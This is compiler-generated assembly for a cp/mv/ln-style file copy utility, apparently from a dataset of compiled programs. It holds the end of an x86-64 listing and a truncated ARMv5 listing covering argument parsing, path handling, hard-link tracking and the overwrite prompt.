mov DWORD PTR pflag[rip], 1
mov eax, DWORD PTR pflag[rip]
mov DWORD PTR mflag[rip], eax
mov eax, DWORD PTR mflag[rip]
mov DWORD PTR rflag[rip], eax
mov DWORD PTR conforming[rip], 0
jmp .L292
.L296:
mov rax, QWORD PTR prog_name[rip]
lea rsi, .LC49[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L297
mov DWORD PTR identity[rip], 5
mov DWORD PTR action[rip], 3
lea rax, .LC37[rip]
mov QWORD PTR -248[rbp], rax
mov DWORD PTR fflag[rip], 1
mov eax, DWORD PTR fflag[rip]
mov DWORD PTR mflag[rip], eax
mov eax, DWORD PTR mflag[rip]
mov DWORD PTR rflag[rip], eax
jmp .L292
.L297:
mov rdx, QWORD PTR prog_name[rip]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC50[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L292:
call geteuid@PLT
mov DWORD PTR uid[rip], eax
call getegid@PLT
mov DWORD PTR gid[rip], eax
mov edi, 0
call isatty@PLT
mov DWORD PTR istty[rip], eax
mov edi, 0
call umask@PLT
not eax
mov DWORD PTR fc_mask[rip], eax
mov DWORD PTR -252[rbp], 1
jmp .L298
.L319:
mov eax, DWORD PTR -252[rbp]
lea edx, 1[rax]
mov DWORD PTR -252[rbp], edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -272[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
add rax, 1
mov QWORD PTR -240[rbp], rax
mov rax, QWORD PTR -240[rbp]
movzx eax, BYTE PTR [rax]
cmp al, 45
jne .L301
mov rax, QWORD PTR -240[rbp]
add rax, 1
movzx eax, BYTE PTR [rax]
test al, al
je .L334
jmp .L301
.L318:
mov rax, QWORD PTR -240[rbp]
movzx eax, BYTE PTR [rax]
movsx edx, al
mov rax, QWORD PTR -248[rbp]
mov esi, edx
mov rdi, rax
call strchr@PLT
test rax, rax
jne .L302
call usage
.L302:
mov rax, QWORD PTR -240[rbp]
lea rdx, 1[rax]
mov QWORD PTR -240[rbp], rdx
movzx eax, BYTE PTR [rax]
movsx eax, al
sub eax, 82
cmp eax, 38
ja .L301
mov eax, eax
lea rdx, 0[0+rax*4]
lea rax, .L304[rip]
mov eax, DWORD PTR [rdx+rax]
cdqe
lea rdx, .L304[rip]
add rax, rdx
notrack jmp rax
.section .rodata
.align 4
.align 4
.L304:
.long .L313-.L304
.long .L312-.L304
.long .L301-.L304
.long .L301-.L304
.long .L301-.L304
.long .L301-.L304
.long .L301-.L304
.long .L301-.L304
.long .L301-.L304
.long .L301-.L304
.long .L301-.L304
.long .L301-.L304
.long .L301-.L304
.long .L301-.L304
.long .L301-.L304
.long .L301-.L304
.long .L301-.L304
.long .L301-.L304
.long .L301-.L304
.long .L301-.L304
.long .L311-.L304
.long .L301-.L304
.long .L301-.L304
.long .L310-.L304
.long .L301-.L304
.long .L301-.L304
.long .L301-.L304
.long .L309-.L304
.long .L301-.L304
.long .L301-.L304
.long .L308-.L304
.long .L301-.L304
.long .L307-.L304
.long .L306-.L304
.long .L301-.L304
.long .L301-.L304
.long .L305-.L304
.long .L301-.L304
.long .L303-.L304
.text
.L308:
mov DWORD PTR pflag[rip], 1
jmp .L301
.L310:
mov DWORD PTR iflag[rip], 1
mov eax, DWORD PTR action[rip]
cmp eax, 1
jne .L301
mov DWORD PTR fflag[rip], 0
jmp .L301
.L311:
mov DWORD PTR fflag[rip], 1
mov eax, DWORD PTR action[rip]
cmp eax, 1
jne .L301
mov DWORD PTR iflag[rip], 0
jmp .L301
.L306:
mov eax, DWORD PTR action[rip]
cmp eax, 3
jne .L316
mov DWORD PTR sflag[rip], 1
jmp .L301
.L316:
mov DWORD PTR conforming[rip], 0
jmp .L301
.L312:
mov DWORD PTR Sflag[rip], 1
jmp .L301
.L309:
mov DWORD PTR mflag[rip], 1
jmp .L301
.L307:
mov DWORD PTR expand[rip], 0
.L313:
mov DWORD PTR rflag[rip], 1
jmp .L301
.L305:
mov DWORD PTR vflag[rip], 1
jmp .L301
.L303:
mov DWORD PTR xflag[rip], 1
nop
.L301:
mov rax, QWORD PTR -240[rbp]
movzx eax, BYTE PTR [rax]
test al, al
jne .L318
.L298:
mov eax, DWORD PTR -252[rbp]
cmp eax, DWORD PTR -260[rbp]
jge .L300
mov eax, DWORD PTR -252[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -272[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
movzx eax, BYTE PTR [rax]
cmp al, 45
je .L319
jmp .L300
.L334:
nop
.L300:
mov eax, DWORD PTR action[rip]
cmp eax, 2
je .L320
cmp eax, 3
je .L321
jmp .L322
.L320:
mov eax, DWORD PTR -252[rbp]
cmp eax, DWORD PTR -260[rbp]
jne .L335
call usage
jmp .L335
.L321:
mov eax, DWORD PTR -260[rbp]
sub eax, DWORD PTR -252[rbp]
cmp eax, 1
jne .L322
mov eax, DWORD PTR action[rip]
cmp eax, 3
jne .L322
mov eax, DWORD PTR -260[rbp]
lea edx, 1[rax]
mov DWORD PTR -260[rbp], edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -272[rbp]
add rax, rdx
lea rdx, .LC22[rip]
mov QWORD PTR [rax], rdx
.L322:
mov eax, DWORD PTR -260[rbp]
sub eax, DWORD PTR -252[rbp]
cmp eax, 1
jg .L324
call usage
jmp .L324
.L335:
nop
.L324:
lea rax, -224[rbp]
mov rdi, rax
call path_init
lea rax, -192[rbp]
mov rdi, rax
call path_init
mov eax, DWORD PTR action[rip]
cmp eax, 2
je .L325
mov eax, DWORD PTR mflag[rip]
test eax, eax
jne .L325
mov eax, DWORD PTR -260[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -272[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
lea rdx, -160[rbp]
mov rsi, rdx
mov rdi, rax
call stat@PLT
test eax, eax
js .L325
mov eax, DWORD PTR -136[rbp]
and eax, 61440
cmp eax, 16384
jne .L325
mov eax, DWORD PTR -260[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -272[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
lea rax, -192[rbp]
mov rsi, rdx
mov rdi, rax
call path_add
mov rax, QWORD PTR -184[rbp]
mov QWORD PTR -232[rbp], rax
.L326:
mov eax, DWORD PTR -252[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -272[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
lea rax, -224[rbp]
mov rsi, rdx
mov rdi, rax
call path_add
mov eax, DWORD PTR -252[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -272[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdi, rax
call basename
mov rdx, rax
lea rax, -192[rbp]
mov rsi, rdx
mov rdi, rax
call path_add
lea rcx, -192[rbp]
lea rax, -224[rbp]
mov edx, 0
mov rsi, rcx
mov rdi, rax
call do1
lea rax, -224[rbp]
mov esi, 0
mov rdi, rax
call path_trunc
mov rdx, QWORD PTR -232[rbp]
lea rax, -192[rbp]
mov rsi, rdx
mov rdi, rax
call path_trunc
add DWORD PTR -252[rbp], 1
mov eax, DWORD PTR -260[rbp]
sub eax, 1
cmp DWORD PTR -252[rbp], eax
jl .L326
jmp .L327
.L325:
mov eax, DWORD PTR action[rip]
cmp eax, 2
je .L332
mov eax, DWORD PTR -260[rbp]
sub eax, DWORD PTR -252[rbp]
cmp eax, 2
jne .L329
.L332:
mov eax, DWORD PTR -252[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -272[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
lea rax, -224[rbp]
mov rsi, rdx
mov rdi, rax
call path_add
mov eax, DWORD PTR action[rip]
cmp eax, 2
je .L330
mov eax, DWORD PTR -252[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -272[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
lea rax, -192[rbp]
mov rsi, rdx
mov rdi, rax
call path_add
.L330:
lea rcx, -192[rbp]
lea rax, -224[rbp]
mov edx, 0
mov rsi, rcx
mov rdi, rax
call do1
lea rax, -224[rbp]
mov esi, 0
mov rdi, rax
call path_trunc
mov eax, DWORD PTR action[rip]
cmp eax, 2
jne .L336
add DWORD PTR -252[rbp], 1
mov eax, DWORD PTR -252[rbp]
cmp eax, DWORD PTR -260[rbp]
jl .L332
jmp .L336
.L329:
call usage
jmp .L327
.L336:
nop
.L327:
mov rax, QWORD PTR -224[rbp]
mov rdi, rax
call deallocate
mov rax, QWORD PTR -192[rbp]
mov rdi, rax
call deallocate
mov eax, DWORD PTR ex_code[rip]
mov edi, eax
call exit@PLT
.cfi_endproc
.LFE27:
.size main, .-main
.local oldies.3
.comm oldies.3,2048,32
.local topdst_ino.2
.comm topdst_ino.2,8,8
.local topsrc_dev.1
.comm topsrc_dev.1,8,8
.local topdst_dev.0
.comm topdst_dev.0,8,8
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "388316.c"
.text
.comm prog_name,4,4
.global ex_code
.bss
.align 2
.type ex_code, %object
.size ex_code, 4
ex_code:
.space 4
.comm identity,4,4
.comm action,4,4
.global pflag
.align 2
.type pflag, %object
.size pflag, 4
pflag:
.space 4
.global iflag
.align 2
.type iflag, %object
.size iflag, 4
iflag:
.space 4
.global fflag
.align 2
.type fflag, %object
.size fflag, 4
fflag:
.space 4
.global sflag
.align 2
.type sflag, %object
.size sflag, 4
sflag:
.space 4
.global Sflag
.align 2
.type Sflag, %object
.size Sflag, 4
Sflag:
.space 4
.global mflag
.align 2
.type mflag, %object
.size mflag, 4
mflag:
.space 4
.global rflag
.align 2
.type rflag, %object
.size rflag, 4
rflag:
.space 4
.global vflag
.align 2
.type vflag, %object
.size vflag, 4
vflag:
.space 4
.global xflag
.align 2
.type xflag, %object
.size xflag, 4
xflag:
.space 4
.global xdev
.align 2
.type xdev, %object
.size xdev, 4
xdev:
.space 4
.global expand
.align 2
.type expand, %object
.size expand, 4
expand:
.space 4
.global conforming
.data
.align 2
.type conforming, %object
.size conforming, 4
conforming:
.word 1
.comm fc_mask,4,4
.comm uid,4,4
.comm gid,4,4
.comm istty,4,4
.section .rodata
.align 2
.LC0:
.ascii "%s: %s: %s\012\000"
.text
.align 2
.global report
.syntax unified
.arm
.fpu softvfp
.type report, %function
report:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #16
str r0, [fp, #-16]
ldr r3, .L5
ldr r3, [r3]
cmp r3, #2
bne .L2
ldr r3, .L5+4
ldr r3, [r3]
cmp r3, #0
bne .L4
.L2:
ldr r3, .L5+8
ldr r4, [r3]
ldr r3, .L5+12
ldr r5, [r3]
bl __errno_location
mov r3, r0
ldr r3, [r3]
mov r0, r3
bl strerror
mov r3, r0
str r3, [sp]
ldr r3, [fp, #-16]
mov r2, r5
ldr r1, .L5+16
mov r0, r4
bl fprintf
ldr r3, .L5+20
mov r2, #1
str r2, [r3]
b .L1
.L4:
nop
.L1:
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L6:
.align 2
.L5:
.word action
.word fflag
.word stderr
.word prog_name
.word .LC0
.word ex_code
.size report, .-report
.align 2
.global fatal
.syntax unified
.arm
.fpu softvfp
.type fatal, %function
fatal:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r0, [fp, #-8]
bl report
mov r0, #1
bl exit
.size fatal, .-fatal
.section .rodata
.align 2
.LC1:
.ascii "%s %s %s: %s\012\000"
.text
.align 2
.global report2
.syntax unified
.arm
.fpu softvfp
.type report2, %function
report2:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, .L9
ldr r4, [r3]
ldr r3, .L9+4
ldr r5, [r3]
bl __errno_location
mov r3, r0
ldr r3, [r3]
mov r0, r3
bl strerror
mov r3, r0
str r3, [sp, #4]
ldr r3, [fp, #-20]
str r3, [sp]
ldr r3, [fp, #-16]
mov r2, r5
ldr r1, .L9+8
mov r0, r4
bl fprintf
ldr r3, .L9+12
mov r2, #1
str r2, [r3]
nop
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L10:
.align 2
.L9:
.word stderr
.word prog_name
.word .LC1
.word ex_code
.size report2, .-report2
.section .rodata
.align 2
.LC2:
.ascii "malloc()\000"
.text
.align 2
.global allocate
.syntax unified
.arm
.fpu softvfp
.type allocate, %function
allocate:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r3, [fp, #-8]
cmp r3, #0
bne .L12
ldr r0, [fp, #-12]
bl malloc
mov r3, r0
b .L13
.L12:
ldr r1, [fp, #-12]
ldr r0, [fp, #-8]
bl realloc
mov r3, r0
.L13:
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
bne .L14
ldr r0, .L16
bl fatal
.L14:
ldr r3, [fp, #-8]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L17:
.align 2
.L16:
.word .LC2
.size allocate, .-allocate
.align 2
.global deallocate
.syntax unified
.arm
.fpu softvfp
.type deallocate, %function
deallocate:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L20
ldr r0, [fp, #-8]
bl free
.L20:
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size deallocate, .-deallocate
.align 2
.global path_init
.syntax unified
.arm
.fpu softvfp
.type path_init, %function
path_init:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r3, [fp, #-8]
mov r2, #16
str r2, [r3, #8]
ldr r3, [fp, #-8]
ldr r3, [r3, #8]
mov r1, r3
mov r0, #0
bl allocate
mov r2, r0
ldr r3, [fp, #-8]
str r2, [r3]
ldr r3, [fp, #-8]
mov r2, #0
str r2, [r3, #4]
ldr r3, [fp, #-8]
ldr r3, [r3]
mov r2, #0
strb r2, [r3]
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size path_init, .-path_init
.align 2
.global path_add
.syntax unified
.arm
.fpu softvfp
.type path_add, %function
path_add:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #20
str r0, [fp, #-24]
str r1, [fp, #-28]
ldr r3, [fp, #-24]
ldr r4, [r3, #4]
ldr r0, [fp, #-28]
bl strlen
mov r3, r0
add r3, r4, r3
add r3, r3, #2
str r3, [fp, #-16]
ldr r3, [fp, #-24]
ldr r3, [r3, #8]
ldr r2, [fp, #-16]
cmp r2, r3
bls .L23
ldr r3, [fp, #-16]
lsr r3, r3, #1
ldr r2, [fp, #-16]
add r3, r2, r3
str r3, [fp, #-16]
ldr r3, [fp, #-24]
ldr r2, [fp, #-16]
str r2, [r3, #8]
ldr r3, [fp, #-24]
ldr r3, [r3]
ldr r1, [fp, #-16]
mov r0, r3
bl allocate
mov r2, r0
ldr r3, [fp, #-24]
str r2, [r3]
.L23:
ldr r3, [fp, #-24]
ldr r2, [r3]
ldr r3, [fp, #-24]
ldr r3, [r3, #4]
add r3, r2, r3
str r3, [fp, #-20]
ldr r3, [fp, #-24]
ldr r3, [r3]
ldr r2, [fp, #-20]
cmp r2, r3
bls .L25
ldr r3, [fp, #-20]
sub r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #47
beq .L25
ldr r3, [fp, #-20]
add r2, r3, #1
str r2, [fp, #-20]
mov r2, #47
strb r2, [r3]
b .L25
.L28:
ldr r3, [fp, #-28]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #47
bne .L26
ldr r3, [fp, #-24]
ldr r3, [r3]
ldr r2, [fp, #-20]
cmp r2, r3
beq .L26
ldr r3, [fp, #-20]
sub r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #47
beq .L27
.L26:
ldr r3, [fp, #-20]
add r2, r3, #1
str r2, [fp, #-20]
ldr r2, [fp, #-28]
ldrb r2, [r2] @ zero_extendqisi2
strb r2, [r3]
.L27:
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L25:
ldr r3, [fp, #-28]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L28
ldr r3, [fp, #-20]
mov r2, #0
strb r2, [r3]
ldr r3, [fp, #-24]
ldr r3, [r3]
ldr r2, [fp, #-20]
sub r3, r2, r3
mov r2, r3
ldr r3, [fp, #-24]
str r2, [r3, #4]
nop
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.size path_add, .-path_add
.align 2
.global path_trunc
.syntax unified
.arm
.fpu softvfp
.type path_trunc, %function
path_trunc:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r3, [fp, #-8]
ldr r2, [r3]
ldr r3, [fp, #-8]
ldr r1, [fp, #-12]
str r1, [r3, #4]
ldr r3, [fp, #-8]
ldr r3, [r3, #4]
add r3, r2, r3
mov r2, #0
strb r2, [r3]
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size path_trunc, .-path_trunc
.align 2
.global basename
.syntax unified
.arm
.fpu softvfp
.type basename, %function
basename:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
ldr r3, [fp, #-16]
str r3, [fp, #-8]
b .L31
.L32:
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L31:
ldr r3, [fp, #-8]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #47
beq .L32
ldr r3, [fp, #-8]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
beq .L41
ldr r3, [fp, #-8]
str r3, [fp, #-16]
b .L35
.L37:
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L35:
ldr r3, [fp, #-8]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
beq .L31
ldr r3, [fp, #-8]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #47
bne .L37
b .L31
.L41:
nop
ldr r3, [fp, #-16]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size basename, .-basename
.align 2
.global affirmative
.syntax unified
.arm
.fpu softvfp
.type affirmative, %function
affirmative:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
ldr r3, .L51
ldr r3, [r3]
mov r0, r3
bl fflush
ldr r3, .L51+4
ldr r3, [r3]
mov r0, r3
bl fflush
nop
.L43:
bl getchar
str r0, [fp, #-12]
ldr r3, [fp, #-12]
cmp r3, #32
beq .L43
ldr r3, [fp, #-12]
cmp r3, #121
beq .L44
ldr r3, [fp, #-12]
cmp r3, #89
bne .L45
.L44:
mov r3, #1
b .L46
.L45:
mov r3, #0
.L46:
str r3, [fp, #-8]
b .L47
.L49:
bl getchar
str r0, [fp, #-12]
.L47:
ldr r3, [fp, #-12]
cmn r3, #1
beq .L48
ldr r3, [fp, #-12]
cmp r3, #10
bne .L49
.L48:
ldr r3, [fp, #-8]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L52:
.align 2
.L51:
.word stdout
.word stderr
.size affirmative, .-affirmative
.align 2
.global writable
.syntax unified
.arm
.fpu softvfp
.type writable, %function
writable:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, .L59
ldr r3, [r3]
cmp r3, #0
beq .L54
ldr r3, .L59+4
ldr r3, [r3]
cmp r3, #0
bne .L55
.L54:
mov r3, #1
b .L56
.L55:
ldr r3, [fp, #-8]
ldr r3, [r3, #24]
ldr r2, .L59+4
ldr r2, [r2]
cmp r3, r2
bne .L57
ldr r3, [fp, #-8]
ldr r3, [r3, #16]
and r3, r3, #128
b .L56
.L57:
ldr r3, [fp, #-8]
ldr r3, [r3, #28]
ldr r2, .L59+8
ldr r2, [r2]
cmp r3, r2
bne .L58
ldr r3, [fp, #-8]
ldr r3, [r3, #16]
and r3, r3, #16
b .L56
.L58:
ldr r3, [fp, #-8]
ldr r3, [r3, #16]
and r3, r3, #2
.L56:
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L60:
.align 2
.L59:
.word istty
.word uid
.word gid
.size writable, .-writable
.section .rodata
.align 2
.LC3:
.ascii "ln %s %s\012\000"
.text
.align 2
.global trylink
.syntax unified
.arm
.fpu softvfp
.type trylink, %function
trylink:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
str r3, [fp, #-36]
ldr r3, .L73
ldr r3, [r3]
cmp r3, #0
bne .L62
ldr r3, .L73+4
ldr r3, [r3]
cmp r3, #0
beq .L62
mov r3, #0
b .L63
.L62:
ldr r3, [fp, #-32]
ldr r3, [r3, #12]
and r3, r3, #255
lsl r3, r3, #2
ldr r2, .L73+8
add r3, r3, r2
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-16]
b .L64
.L67:
ldr r3, [fp, #-32]
ldr r2, [r3, #12]
ldr r3, [fp, #-12]
ldr r3, [r3, #16]
cmp r2, r3
bne .L65
ldr r3, [fp, #-32]
ldmia r3, {r0-r1}
ldr r3, [fp, #-12]
add r3, r3, #8
ldmia r3, {r2-r3}
cmp r1, r3
cmpeq r0, r2
bne .L65
mov r3, #1
str r3, [fp, #-16]
b .L66
.L65:
ldr r3, [fp, #-12]
str r3, [fp, #-20]
.L64:
ldr r3, [fp, #-20]
ldr r3, [r3]
str r3, [fp, #-12]
ldr r3, [fp, #-12]
cmp r3, #0
beq .L66
ldr r3, [fp, #-32]
ldr r2, [r3, #12]
ldr r3, [fp, #-12]
ldr r3, [r3, #16]
cmp r2, r3
bls .L67
.L66:
ldr r3, [fp, #-16]
cmp r3, #0
bne .L68
ldr r3, [fp, #-32]
ldr r3, [r3, #20]
cmp r3, #1
bls .L69
mov r1, #24
mov r0, #0
bl allocate
str r0, [fp, #-12]
ldr r0, [fp, #-28]
bl strlen
mov r3, r0
add r3, r3, #1
mov r1, r3
mov r0, #0
bl allocate
mov r2, r0
ldr r3, [fp, #-12]
str r2, [r3, #4]
ldr r3, [fp, #-12]
ldr r3, [r3, #4]
ldr r1, [fp, #-28]
mov r0, r3
bl strcpy
ldr r3, [fp, #-32]
ldr r2, [r3, #12]
ldr r3, [fp, #-12]
str r2, [r3, #16]
ldr r3, [fp, #-32]
ldmia r3, {r2-r3}
ldr r1, [fp, #-12]
str r2, [r1, #8]
str r3, [r1, #12]
ldr r3, [fp, #-32]
ldr r2, [r3, #20]
ldr r3, [fp, #-12]
str r2, [r3, #20]
ldr r3, [fp, #-20]
ldr r2, [r3]
ldr r3, [fp, #-12]
str r2, [r3]
ldr r3, [fp, #-20]
ldr r2, [fp, #-12]
str r2, [r3]
.L69:
mov r3, #0
b .L63
.L68:
ldr r3, [fp, #-36]
ldr r3, [r3, #12]
cmp r3, #0
beq .L70
ldr r0, [fp, #-28]
bl unlink
.L70:
ldr r3, [fp, #-12]
ldr r3, [r3, #4]
ldr r1, [fp, #-28]
mov r0, r3
bl link
mov r3, r0
cmp r3, #0
moveq r3, #1
movne r3, #0
and r3, r3, #255
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L71
ldr r3, .L73+12
ldr r3, [r3]
cmp r3, #0
beq .L71
ldr r3, [fp, #-12]
ldr r3, [r3, #4]
ldr r2, [fp, #-28]
mov r1, r3
ldr r0, .L73+16
bl printf
.L71:
ldr r3, [fp, #-12]
ldr r3, [r3, #20]
sub r2, r3, #1
ldr r3, [fp, #-12]
str r2, [r3, #20]
ldr r3, [fp, #-12]
ldr r3, [r3, #20]
cmp r3, #1
bne .L72
ldr r3, [fp, #-12]
ldr r2, [r3]
ldr r3, [fp, #-20]
str r2, [r3]
ldr r3, [fp, #-12]
ldr r3, [r3, #4]
mov r0, r3
bl deallocate
ldr r0, [fp, #-12]
bl deallocate
.L72:
ldr r3, [fp, #-8]
.L63:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L74:
.align 2
.L73:
.word action
.word expand
.word oldies.6325
.word vflag
.word .LC3
.size trylink, .-trylink
.section .rodata
.align 2
.LC4:
.ascii "Overwrite %s? (mode = %03o) \000"
.align 2
.LC5:
.ascii "%s: Warning: EOF writing to %s\012\000"
.align 2
.LC6:
.ascii "%s: Can't change the mode of %s\012\000"
.align 2
.LC7:
.ascii "%s: Can't set the time of %s\012\000"
.align 2
.LC8:
.ascii "cp %s %s\012\000"
.align 2
.LC9:
.ascii "mv %s %s\012\000"
.align 2
.LC10:
.word __stack_chk_guard
.text
.align 2
.global copy
.syntax unified
.arm
.fpu softvfp
.type copy, %function
copy:
@ args = 0, pretend = 0, frame = 262192
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #262144
sub sp, sp, #52
sub ip, fp, #262144
sub ip, ip, #12
str r0, [ip, #-36]
sub r0, fp, #262144
sub r0, r0, #12
str r1, [r0, #-40]
sub r1, fp, #262144
sub r1, r1, #12
str r2, [r1, #-44]
sub r2, fp, #262144
sub r2, r2, #12
str r3, [r2, #-48]
ldr r3, .L117
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-48]
ldr r3, [r3, #12]
cmp r3, #0
bne .L76
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
ldr r3, [r3, #16]
and r3, r3, #61440
cmp r3, #32768
beq .L77
ldr r3, .L117+4
ldr r3, [r3]
mov r2, r3
ldr r3, .L117+8
and r3, r3, r2
sub r2, fp, #262144
sub r2, r2, #12
ldr r2, [r2, #-44]
str r3, [r2, #16]
b .L78
.L77:
ldr r3, .L117+12
ldr r3, [r3]
cmp r3, #0
bne .L78
ldr r3, .L117+16
ldr r3, [r3]
cmp r3, #0
beq .L78
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
ldr r3, [r3, #16]
ldr r2, .L117+4
ldr r2, [r2]
and r2, r2, r3
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
str r2, [r3, #16]
b .L78
.L76:
ldr r3, .L117+20
ldr r3, [r3]
cmp r3, #0
bne .L79
ldr r3, .L117+24
ldr r3, [r3]
cmp r3, #1
bne .L80
ldr r3, .L117+28
ldr r3, [r3]
cmp r3, #0
bne .L80
sub r3, fp, #262144
sub r3, r3, #12
ldr r0, [r3, #-48]
bl writable
mov r3, r0
cmp r3, #0
bne .L80
.L79:
ldr r3, .L117+32
ldr r0, [r3]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-48]
ldr r3, [r3, #16]
lsl r3, r3, #20
lsr r3, r3, #20
sub r2, fp, #262144
sub r2, r2, #12
ldr r2, [r2, #-40]
ldr r1, .L117+36
bl fprintf
bl affirmative
mov r3, r0
cmp r3, #0
bne .L80
mov r3, #0
b .L115
.L80:
ldr r3, .L117+24
ldr r3, [r3]
cmp r3, #1
bne .L82
sub r3, fp, #262144
sub r3, r3, #12
ldr r0, [r3, #-40]
bl unlink
mov r3, r0
cmp r3, #0
bge .L78
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #2
beq .L78
sub r3, fp, #262144
sub r3, r3, #12
ldr r0, [r3, #-40]
bl report
mov r3, #0
b .L115
.L82:
ldr r3, .L117+12
ldr r3, [r3]
cmp r3, #0
bne .L78
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-48]
ldr r2, [r3, #16]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
str r2, [r3, #16]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-48]
